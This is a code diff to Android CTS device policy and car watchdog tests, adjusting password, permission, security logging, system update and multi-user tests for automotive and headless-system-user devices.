import com.android.os.StatsLog.EventMetricData; +import com.android.tradefed.log.LogUtil.CLog; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import org.junit.After; @@ -36,6 +37,7 @@ import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; +import java.time.LocalDateTime; import java.util.List; import java.util.Objects; import java.util.concurrent.atomic.AtomicReference; @@ -44,6 +46,8 @@ import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) public class CarWatchdogHostTest extends CarHostJUnit4TestCase { + public static final String TAG = CarWatchdogHostTest.class.getSimpleName(); + /** * CarWatchdog app package. */ @@ -120,9 +124,20 @@ public class CarWatchdogHostTest extends CarHostJUnit4TestCase { private static final long WATCHDOG_ACTION_TIMEOUT_MS = 15_000; + private boolean mDidModifyDateTime; private long mOriginalForegroundBytes; @Before + public void dateSetUp() throws Exception { + checkAndSetDate(); + } + + @After + public void dateReset() throws Exception { + checkAndResetDate(); + } + + @Before public void setUp() throws Exception { ConfigUtils.removeConfig(getDevice()); ReportUtils.clearReports(getDevice()); @@ -328,4 +343,26 @@ public class CarWatchdogHostTest extends CarHostJUnit4TestCase { "am start -W -a android.intent.action.MAIN -n %s/%s --el bytes_to_kill %d", appPkg, ACTIVITY_CLASS, remainingBytes); } + + private void checkAndSetDate() throws Exception { + // Get date in ISO-8601 format + LocalDateTime now = LocalDateTime.parse(executeCommand("date +%%FT%%T").trim()); + if (now.getHour() < 23) { + return; + } + LocalDateTime nowMinusOneHour = now.minusHours(1); + executeCommand("date %s", nowMinusOneHour); + CLog.d(TAG, "checkAndSetDate: DateTime changed from %s to %s", now, nowMinusOneHour); + mDidModifyDateTime = true; + } + + private void checkAndResetDate() throws Exception { + if (!mDidModifyDateTime) { + return; + } + LocalDateTime now = LocalDateTime.parse(executeCommand("date +%%FT%%T").trim()); + LocalDateTime nowPlusOneHour = now.plusHours(1); + executeCommand("date %s", nowPlusOneHour); + CLog.d(TAG, "checkAndResetDate: DateTime changed from %s to %s", now, nowPlusOneHour); + } } diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml index fcc7d5d0ca7..472cdbc1e5f 100644 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml @@ -44,7 +44,7 @@ <!-- Add a network security config that trusts user added CAs for tests --> <application android:networkSecurityConfig="@xml/network_security_config" - android:testOnly="true"> + android:testOnly="true" android:debuggable="true"> <uses-library android:name="android.test.runner"/> <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver" diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java index 67a508596bf..76126cf03fb 100644 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java @@ -127,6 +127,8 @@ public abstract class BaseDeviceAdminTest extends InstrumentationTestCase { protected UserManager mUserManager; protected Context mContext; protected boolean mHasSecureLockScreen; + protected boolean mIsAutomotive; + protected boolean mIsDeviceOwnerTest; static CountDownLatch mOnPasswordExpiryTimeoutCalled; protected final String mTag = getClass().getSimpleName(); @@ -141,12 +143,14 @@ public abstract class BaseDeviceAdminTest extends InstrumentationTestCase { mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature( PackageManager.FEATURE_SECURE_LOCK_SCREEN); + mIsAutomotive = mContext.getPackageManager().hasSystemFeature( + PackageManager.FEATURE_AUTOMOTIVE); - boolean isDeviceOwnerTest = "DeviceOwner" + mIsDeviceOwnerTest = "DeviceOwner" .equals(InstrumentationRegistry.getArguments().getString("admin_type")); mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext, - BasicAdminReceiver.class, isDeviceOwnerTest); + BasicAdminReceiver.class, mIsDeviceOwnerTest); Log.v(TAG, "setup(): dpm for " + getClass() + " and user " + mContext.getUserId() + ": " + mDevicePolicyManager); @@ -159,7 +163,7 @@ public abstract class BaseDeviceAdminTest extends InstrumentationTestCase { Log.d(mTag, "setup() on user " + mContext.getUserId() + ": package=" + PACKAGE_NAME + ", adminReceiverComponent=" + ADMIN_RECEIVER_COMPONENT + ", isActiveAdmin=" + isActiveAdmin + ", isProfileOwner=" + isProfileOwner - + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + isDeviceOwnerTest); + + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + mIsDeviceOwnerTest); assertWithMessage("active admin for %s", ADMIN_RECEIVER_COMPONENT).that(isActiveAdmin) .isTrue(); diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java index f9ce72697f7..59a5a5c6786 100644 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java @@ -22,18 +22,22 @@ import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED import static org.testng.Assert.assertThrows; +import android.util.Log; + /** * Class that tests password constraints API preconditions. */ public class PasswordRequirementsTest extends BaseDeviceAdminTest { + private static final int TEST_VALUE = 5; + + private static final int DEFAULT_LENGTH = 0; private static final int DEFAULT_NUMERIC = 1; private static final int DEFAULT_LETTERS = 1; private static final int DEFAULT_UPPERCASE = 0; private static final int DEFAULT_LOWERCASE = 0; private static final int DEFAULT_NON_LETTER = 0; private static final int DEFAULT_SYMBOLS = 1; - private static final int DEFAULT_LENGTH = 0; public void testPasswordConstraintsDoesntThrowAndPreservesValuesPreR() { // Pre-R password restrictions can be set in any order. @@ -51,23 +55,46 @@ public class PasswordRequirementsTest extends BaseDeviceAdminTest { // Make sure these values are preserved and not reset when quality is set low. mDevicePolicyManager.setPasswordQuality( ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED); - assertEquals(TEST_VALUE, - mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT)); - assertEquals(TEST_VALUE, - mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT)); - assertEquals(TEST_VALUE, - mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT)); - assertEquals(TEST_VALUE, - mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT)); - assertEquals(TEST_VALUE, - mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT)); - assertEquals(TEST_VALUE, - mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT)); - assertEquals(TEST_VALUE, - mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT)); + if (mIsAutomotive) { + assertEquals(DEFAULT_LENGTH, + mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT)); + assertEquals(DEFAULT_NUMERIC, + mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT)); + assertEquals(DEFAULT_LETTERS, + mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT)); + assertEquals(DEFAULT_UPPERCASE, + mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT)); + assertEquals(DEFAULT_LOWERCASE, + mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT)); + assertEquals(DEFAULT_NON_LETTER, + mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT)); + assertEquals(DEFAULT_SYMBOLS, + mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT)); + } else { + assertEquals(TEST_VALUE, + mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT)); + assertEquals(TEST_VALUE, + mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT)); + assertEquals(TEST_VALUE, + mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT)); + assertEquals(TEST_VALUE, + mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT)); + assertEquals(TEST_VALUE, + mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT)); + assertEquals(TEST_VALUE, + mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT)); + assertEquals(TEST_VALUE, + mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT)); + + } } public void testSettingConstraintsWithLowQualityThrowsOnRPlus() { + if (!deviceSupportDeprecatedPasswordQualityAPIs( + "testSettingConstraintsWithLowQualityThrowsOnRPlus")) { + return; + } + // On R and above quality should be set first. mDevicePolicyManager.setPasswordQuality( ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING); @@ -89,6 +116,11 @@ public class PasswordRequirementsTest extends BaseDeviceAdminTest { } public void testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus() { + if (!deviceSupportDeprecatedPasswordQualityAPIs( + "testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus")) { + return; + } + // On R and above quality should be set first. mDevicePolicyManager.setPasswordQuality( ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC); @@ -112,6 +144,11 @@ public class PasswordRequirementsTest extends BaseDeviceAdminTest { } public void testSettingConstraintsWithComplexQualityAndResetWithLowerQuality() { + if (!deviceSupportDeprecatedPasswordQualityAPIs( + "testSettingConstraintsWithComplexQualityAndResetWithLowerQuality")) { + return; + } + // On R and above when quality is lowered, irrelevant requirements are getting reset. mDevicePolicyManager.setPasswordQuality( ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX); @@ -153,6 +190,13 @@ public class PasswordRequirementsTest extends BaseDeviceAdminTest { // Now length should also be reset. assertEquals(DEFAULT_LENGTH, mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT)); + } + private boolean deviceSupportDeprecatedPasswordQualityAPIs(String test) { + if (mIsAutomotive) { + Log.d(mTag, "Skipping " + test + "on automotive build"); + return false; + } + return true; } } diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java index f0d69e80564..1ab76e567d8 100644 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java @@ -34,8 +34,11 @@ import static com.google.common.truth.Truth.assertWithMessage; import android.Manifest.permission; import android.app.UiAutomation; import android.app.admin.DevicePolicyManager; +import android.content.Context; import android.content.IntentFilter; import android.os.Process; +import android.os.UserHandle; +import android.os.UserManager; import android.support.test.uiautomator.By; import android.support.test.uiautomator.BySelector; import android.support.test.uiautomator.UiDevice; @@ -238,27 +241,43 @@ public class PermissionsTest extends BaseDeviceAdminTest { private void assertCanSetPermissionGrantStatePreMApp(String permission, int value) throws Exception { - assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT, - PRE_M_APP_PACKAGE_NAME, permission, value)); - assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT, - PRE_M_APP_PACKAGE_NAME, permission), value); + Log.d(TAG, "Calling " + mDevicePolicyManager + ".setPermissionGrantState(" + + PRE_M_APP_PACKAGE_NAME + ", " + permission + ", " + + permissionGrantStateToString(value) + ")"); + boolean result = mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT, + PRE_M_APP_PACKAGE_NAME, permission, value); + Log.d(TAG, "Result: " + result); + + assertWithMessage("%s.setPermissionGrantState(%s, %s, %s)", mDevicePolicyManager, + ADMIN_RECEIVER_COMPONENT, PRE_M_APP_PACKAGE_NAME, + permissionGrantStateToString(value)).that(result).isTrue(); + + assertPermissionGrantState(mDevicePolicyManager, PRE_M_APP_PACKAGE_NAME, permission, value); + + Context context = mContext; + if (mIsDeviceOwnerTest && UserManager.isHeadlessSystemUserMode()) { + Log.d(TAG, "Using context for system user on device owner test because device uses " + + "headless system user mode"); + context = mContext.createContextAsUser(UserHandle.SYSTEM, /* flags= */ 0); + } // Install time permissions should always be granted - PermissionUtils.checkPermission(permission, PERMISSION_GRANTED, PRE_M_APP_PACKAGE_NAME); + PermissionUtils.checkPermission(context, permission, PERMISSION_GRANTED, + PRE_M_APP_PACKAGE_NAME); // For pre-M apps the access to the data might be prevented via app-ops. Hence check that // they are correctly set switch (value) { case PERMISSION_GRANT_STATE_GRANTED: - PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_GRANTED, + PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_GRANTED, PRE_M_APP_PACKAGE_NAME); break; case PERMISSION_GRANT_STATE_DENIED: - PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_DENIED, + PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_DENIED, PRE_M_APP_PACKAGE_NAME); break; default: - fail("unsupported policy value"); + fail("unsupported policy value (" + value + ")"); } } @@ -438,9 +457,10 @@ public class PermissionsTest extends BaseDeviceAdminTest { int grantState) { boolean result = dpm.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT, PERMISSION_APP_PACKAGE_NAME, permission, grantState); - Log.d(TAG, "setPermissionGrantState(" + permission + "): requested " + grantState + " (" - + permissionGrantStateToString(grantState) + ") using DPM " + mDevicePolicyManager - + " on uid " + Process.myUid() + ", got " + result); + Log.d(TAG, "setPermissionGrantState(" + PERMISSION_APP_PACKAGE_NAME + ", " + permission + + "): requested " + grantState + " (" + permissionGrantStateToString(grantState) + + ") using DPM " + mDevicePolicyManager + " on uid " + Process.myUid() + + ", got " + result); return result; } @@ -450,12 +470,17 @@ public class PermissionsTest extends BaseDeviceAdminTest { private void assertPermissionGrantState(DevicePolicyManager dpm, String permission, int expectedState) { + assertPermissionGrantState(dpm, PERMISSION_APP_PACKAGE_NAME, permission, expectedState); + } + + private void assertPermissionGrantState(DevicePolicyManager dpm, String packageName, + String permission, int expectedState) { int actualState = dpm.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT, - PERMISSION_APP_PACKAGE_NAME, permission); + packageName, permission); assertWithMessage("%s.getPermissionGrantState(%s, %s, %s) (where %s=%s and %s=%s)", - mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, PERMISSION_APP_PACKAGE_NAME, - permission, expectedState, permissionGrantStateToString(expectedState), + mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, packageName, permission, + expectedState, permissionGrantStateToString(expectedState), actualState, permissionGrantStateToString(actualState)) .that(actualState) .isEqualTo(expectedState); diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java index db28c240e56..d8fd8df77a4 100644 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java @@ -491,14 +491,24 @@ public class SecurityLoggingTest extends BaseDeviceAdminTest { return findEvent(description, events, e -> e.getTag() == tag); } + private List<SecurityEvent> findEvents(List<SecurityEvent> events, + Predicate<SecurityEvent> predicate) { + return events.stream().filter(predicate).collect(Collectors.toList()); + } + private SecurityEvent findEvent(String description, List<SecurityEvent> events, Predicate<SecurityEvent> predicate) { - final List<SecurityEvent> matches = - events.stream().filter(predicate).collect(Collectors.toList()); + final List<SecurityEvent> matches = findEvents(events, predicate); assertEquals("Invalid number of matching events: " + description, 1, matches.size()); return matches.get(0); } + private void assertNumberEvents(String description, List<SecurityEvent> events, + Predicate<SecurityEvent> predicate, int expectedSize) { + assertEquals("Invalid number of matching events: " + description, expectedSize, + findEvents(events, predicate).size()); + } + private static Object getDatum(SecurityEvent event, int index) { final Object[] dataArray = (Object[]) event.getData(); return dataArray[index]; @@ -679,21 +689,21 @@ public class SecurityLoggingTest extends BaseDeviceAdminTest { // The order should be consistent with the order in generatePasswordComplexityEvents(), so // that the expected values change in the same sequence as when setting password policies. expectedPayload[PWD_QUALITY_INDEX] = PASSWORD_QUALITY_COMPLEX; - findPasswordComplexityEvent("set pwd quality", events, expectedPayload); + assertPasswordComplexityEvent("set pwd quality", events, expectedPayload); expectedPayload[PWD_LEN_INDEX] = TEST_PWD_LENGTH; - findPasswordComplexityEvent("set pwd length", events, expectedPayload); + assertPasswordComplexityEvent("set pwd length", events, expectedPayload); expectedPayload[LETTERS_INDEX] = TEST_PWD_CHARS; - findPasswordComplexityEvent("set pwd min letters", events, expectedPayload); + assertPasswordComplexityEvent("set pwd min letters", events, expectedPayload); expectedPayload[NON_LETTERS_INDEX] = TEST_PWD_CHARS; - findPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload); + assertPasswordComplexityEvent("set pwd min non-letters", events, expectedPayload); expectedPayload[UPPERCASE_INDEX] = TEST_PWD_CHARS; - findPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload); + assertPasswordComplexityEvent("set pwd min uppercase", events, expectedPayload); expectedPayload[LOWERCASE_INDEX] = TEST_PWD_CHARS; - findPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload); + assertPasswordComplexityEvent("set pwd min lowercase", events, expectedPayload); expectedPayload[NUMERIC_INDEX] = TEST_PWD_CHARS; - findPasswordComplexityEvent("set pwd min numeric", events, expectedPayload); + assertPasswordComplexityEvent("set pwd min numeric", events, expectedPayload); expectedPayload[SYMBOLS_INDEX] = TEST_PWD_CHARS; - findPasswordComplexityEvent("set pwd min symbols", events, expectedPayload); + assertPasswordComplexityEvent("set pwd min symbols", events, expectedPayload); } private void verifyNewStylePasswordComplexityEventPresent(List<SecurityEvent> events) { @@ -769,10 +779,11 @@ public class SecurityLoggingTest extends BaseDeviceAdminTest { getInt(e, ADMIN_USER_INDEX) == userId); } - private void findPasswordComplexityEvent( + private void assertPasswordComplexityEvent( String description, List<SecurityEvent> events, Object[] expectedPayload) { - findEvent(description, events, - byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload)); + int expectedSize = mIsAutomotive ? 0 : 1; + assertNumberEvents(description, events, + byTagAndPayload(TAG_PASSWORD_COMPLEXITY_SET, expectedPayload), expectedSize); } private void findNewStylePasswordComplexityEvent( diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java index 53fa547136d..2dfa7e11104 100755 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/systemupdate/InstallUpdateTest.java @@ -63,39 +63,64 @@ public final class InstallUpdateTest extends BaseDeviceAdminTest { InstallSystemUpdateCallback.UPDATE_ERROR_FILE_NOT_FOUND); } - public void testInstallUpdate_failNoZipOtaFile() throws InterruptedException { + public void testInstallUpdate_failNoZipOtaFile() throws Exception { if (!isDeviceAB()) { return; } - assertUpdateError("notZip.zi", UPDATE_ERROR_UPDATE_FILE_INVALID); + try { + setupBatteryState(); + assertUpdateError("notZip.zi", UPDATE_ERROR_UPDATE_FILE_INVALID); + } finally { + teardownBatteryState(); + } } - public void testInstallUpdate_failWrongPayloadFile() throws InterruptedException { + public void testInstallUpdate_failWrongPayloadFile() throws Exception { if (!isDeviceAB()) { return; } - assertUpdateError("wrongPayload.zip", UPDATE_ERROR_UPDATE_FILE_INVALID); + try { + setupBatteryState(); + assertUpdateError("wrongPayload.zip", UPDATE_ERROR_UPDATE_FILE_INVALID); + } finally { + teardownBatteryState(); + } } - public void testInstallUpdate_failEmptyOtaFile() throws InterruptedException { + public void testInstallUpdate_failEmptyOtaFile() throws Exception { if (!isDeviceAB()) { return; } - assertUpdateError("empty.zip", UPDATE_ERROR_UPDATE_FILE_INVALID); + try { + setupBatteryState(); + assertUpdateError("empty.zip", UPDATE_ERROR_UPDATE_FILE_INVALID); + } finally { + teardownBatteryState(); + } } - public void testInstallUpdate_failWrongHash() throws InterruptedException { + public void testInstallUpdate_failWrongHash() throws Exception { if (!isDeviceAB()) { return; } - assertUpdateError("wrongHash.zip", UPDATE_ERROR_UPDATE_FILE_INVALID); + try { + setupBatteryState(); + assertUpdateError("wrongHash.zip", UPDATE_ERROR_UPDATE_FILE_INVALID); + } finally { + teardownBatteryState(); + } } - public void testInstallUpdate_failWrongSize() throws InterruptedException { + public void testInstallUpdate_failWrongSize() throws Exception { if (!isDeviceAB()) { return; } - assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID); + try { + setupBatteryState(); + assertUpdateError("wrongSize.zip", UPDATE_ERROR_UPDATE_FILE_INVALID); + } finally { + teardownBatteryState(); + } } public void testInstallUpdate_notCharging_belowThreshold_failsBatteryCheck() throws Exception { @@ -251,4 +276,31 @@ public final class InstallUpdateTest extends BaseDeviceAdminTest { private boolean isDeviceAB() { return "true".equalsIgnoreCase(SystemProperties.get(AB_DEVICE_KEY, "")); } + + private boolean deviceHasBattery() { + final Intent batteryInfo = mContext.registerReceiver(null, + new IntentFilter(Intent.ACTION_BATTERY_CHANGED)); + return batteryInfo != null + && batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true); + } + + /** + * This is just for batteryless device,as we know from above that remaining capacity + * is 0 on Android 9 and higher. We need set battery status to meet the test conditions + * of InstallUpdateTest for batteryless device. + * For device has a battery, the test conditions follow the real status of the battery. + */ + private void setupBatteryState() throws Exception { + if (!deviceHasBattery()) { + setChargingBatteryThreshold(TEST_BATTERY_THRESHOLD); + setChargingBatteryLevelAndWait(TEST_BATTERY_THRESHOLD); + } + } + + private void teardownBatteryState() { + if (!deviceHasBattery()) { + resetBatteryState(); + resetDevicePolicyConstants(); + } + } } diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java index 5f8766e6f41..acbfb08e78e 100644 --- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java +++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java @@ -52,6 +52,7 @@ public abstract class BaseDeviceOwnerTest extends AndroidTestCase { protected DevicePolicyManager mDevicePolicyManager; protected WifiManager mWifiManager; + protected WifiManager mCurrentUserWifiManager; protected WifiConfigCreator mWifiConfigCreator; protected Instrumentation mInstrumentation; protected UiDevice mDevice; @@ -75,15 +76,8 @@ public abstract class BaseDeviceOwnerTest extends AndroidTestCase { BasicAdminReceiver.class, /* forDeviceOwner= */ true); mWifiManager = TestAppSystemServiceFactory.getWifiManager(mContext, BasicAdminReceiver.class); - WifiManager currentUserWifiManager = mContext.getSystemService(WifiManager.class); - mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager) { - @Override - public List<WifiConfiguration> getConfiguredNetworks() { - // Must always use the current user's wifi manager, otherwise it would fail on - // headless system user (as the device owner is not the current user). - return currentUserWifiManager.getConfiguredNetworks(); - } - }; + mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class); + mWifiConfigCreator = new WifiConfigCreator(mContext, mWifiManager); mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature( PackageManager.FEATURE_SECURE_LOCK_SCREEN); @@ -127,4 +121,12 @@ public abstract class BaseDeviceOwnerTest extends AndroidTestCase { protected final UserHandle getCurrentUser() { return UserHandle.of(ActivityManager.getCurrentUser()); } + + protected final List<WifiConfiguration> getConfiguredNetworks() { + // Must use a the WifiManager of the current user to list networks, as + // getConfiguredNetworks() would return empty on systems using headless system + // mode as that method "Return a list of all the networks configured for the current + // foreground user", and the system user is running in the background in this case. + return mCurrentUserWifiManager.getConfiguredNetworks(); + } } diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java index 32cc187689b..4f985685c33 100644 --- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java +++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java @@ -32,6 +32,7 @@ import android.content.pm.PackageManager; import android.os.IBinder; import android.os.PersistableBundle; import android.os.RemoteException; +import android.os.SystemClock; import android.os.UserHandle; import android.os.UserManager; import android.provider.Settings; @@ -199,6 +200,63 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest { .containsExactly(userHandle, userHandle); } + public void testCreateAndManageUser_newUserDisclaimer() throws Exception { + // First check that the current user doesn't need it + UserHandle currentUser = getCurrentUser(); + Log.d(TAG, "Checking if current user (" + currentUser + ") is acked"); + assertWithMessage("isNewUserDisclaimerAcknowledged() for current user %s", currentUser) + .that(mDevicePolicyManager.isNewUserDisclaimerAcknowledged()).isTrue(); + + UserHandle newUser = runCrossUserVerificationSwitchingUser("newUserDisclaimer"); + PrimaryUserService.assertCrossUserCallArrived(); + } + + @SuppressWarnings("unused") + private static void newUserDisclaimer(Context context, DevicePolicyManager dpm, + ComponentName componentName) { + + // Need to wait until host-side granted INTERACT_ACROSS_USERS - use getCurrentUser() to + // check + int currentUserId = UserHandle.USER_NULL; + long maxAttempts = ON_ENABLED_TIMEOUT_SECONDS; + int waitingTimeMs = 1_000; + int attempt = 0; + int myUserId = context.getUserId(); + do { + attempt++; + try { + Log.d(TAG, "checking if user " + myUserId + " is current user"); + currentUserId = ActivityManager.getCurrentUser(); + Log.d(TAG, "currentUserId: " + currentUserId); + } catch (SecurityException e) { + Log.d(TAG, "Got exception (" + e.getMessage() + ") on attempt #" + attempt + + ", waiting " + waitingTimeMs + "ms until app is authorized"); + SystemClock.sleep(waitingTimeMs); + + } + } while (currentUserId != myUserId && attempt < maxAttempts); + Log.v(TAG, "Out of the loop, let's hope for the best..."); + + if (currentUserId == UserHandle.USER_NULL) { + throw new IllegalStateException("App could was not authorized to check current user"); + } + assertWithMessage("current user").that(currentUserId).isEqualTo(myUserId); + + // Now that the plumbing is done, go back to work... + Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged()"); + boolean isAcked = dpm.isNewUserDisclaimerAcknowledged(); + + Log.d(TAG, "is it: " + isAcked); + assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isFalse(); + Log.d(TAG, "Calling acknowledgeNewUserDisclaimer()"); + dpm.acknowledgeNewUserDisclaimer(); + + Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged() again"); + isAcked = dpm.isNewUserDisclaimerAcknowledged(); + Log.d(TAG, "is it now: " + isAcked); + assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isTrue(); + } + @SuppressWarnings("unused") private static void assertAffiliatedUser(Context context, DevicePolicyManager devicePolicyManager, ComponentName componentName) { @@ -291,6 +349,17 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest { private UserHandle runCrossUserVerification(UserActionCallback callback, int createAndManageUserFlags, String methodName, Set<String> currentUserPackages) throws Exception { + return runCrossUserVerification(callback, createAndManageUserFlags, methodName, + /* switchUser= */ false, currentUserPackages); + } + private UserHandle runCrossUserVerificationSwitchingUser(String methodName) throws Exception { + return runCrossUserVerification(/* callback= */ null, /* createAndManageUserFlags= */ 0, + methodName, /* switchUser= */ true, /* currentUserPackages= */ null); + } + + private UserHandle runCrossUserVerification(UserActionCallback callback, + int createAndManageUserFlags, String methodName, boolean switchUser, + Set<String> currentUserPackages) throws Exception { Log.d(TAG, "runCrossUserVerification(): flags=" + createAndManageUserFlags + ", method=" + methodName); String testUserName = "TestUser_" + System.currentTimeMillis(); @@ -313,7 +382,9 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest { Log.d(TAG, "creating user with PO " + profileOwner); UserHandle userHandle = createAndManageUser(profileOwner, bundle, createAndManageUserFlags); - if (callback != null) { + if (switchUser) { + switchUserAndWaitForBroadcasts(userHandle); + } else if (callback != null) { startUserInBackgroundAndWaitForBroadcasts(callback, userHandle); } else { startUserInBackgroundAndWaitForBroadcasts(userHandle); 